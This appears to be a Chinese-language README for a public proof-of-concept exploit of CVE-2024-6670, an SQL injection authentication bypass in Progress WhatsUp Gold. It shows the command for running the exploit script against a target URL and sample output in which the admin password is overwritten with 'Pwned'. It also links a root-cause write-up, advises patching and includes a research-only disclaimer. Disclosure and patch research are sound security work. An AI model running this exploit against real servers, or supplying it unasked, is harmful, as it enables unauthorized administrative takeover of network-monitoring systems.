Progress Software WhatsUp Gold HasErrors SQL注入认证绕过漏洞 (CVE-2024-6670) 的PoC
该漏洞的根本原因分析可在我博客中找到：
https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/
python CVE-2024-6670.py --newpassword Pwned --target-url https://192.168.201.150
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Progress Software WhatsUp Gold HasErrors SQL注入认证绕过漏洞 (CVE-2024-6670)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam), shoutout to @indishell1046
(*) 技术细节: https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/
[^_^] 开始利用漏洞...
[*] 使用远程原语加密我们的密码
[*] 加密后的密码已提取 -> 0x03000000100000000EABC7F4B1C8263DADB17E4BED835C0F
[+] 利用完成，你现在可以使用以下凭据登录: 用户名 -> admin 和密码 -> Pwned
更新到最新版本，或按照Progress公告中的说明进行缓解：
若不是我亲爱的朋友 Manish 多年来给我的激励和教诲，我无法成功利用此漏洞，谢谢你，我的朋友。
本软件纯粹为学术研究和开发有效的防御技术而创建，不应用于攻击未经明确授权的系统。项目维护者不对软件的误用负责。请负责任地使用。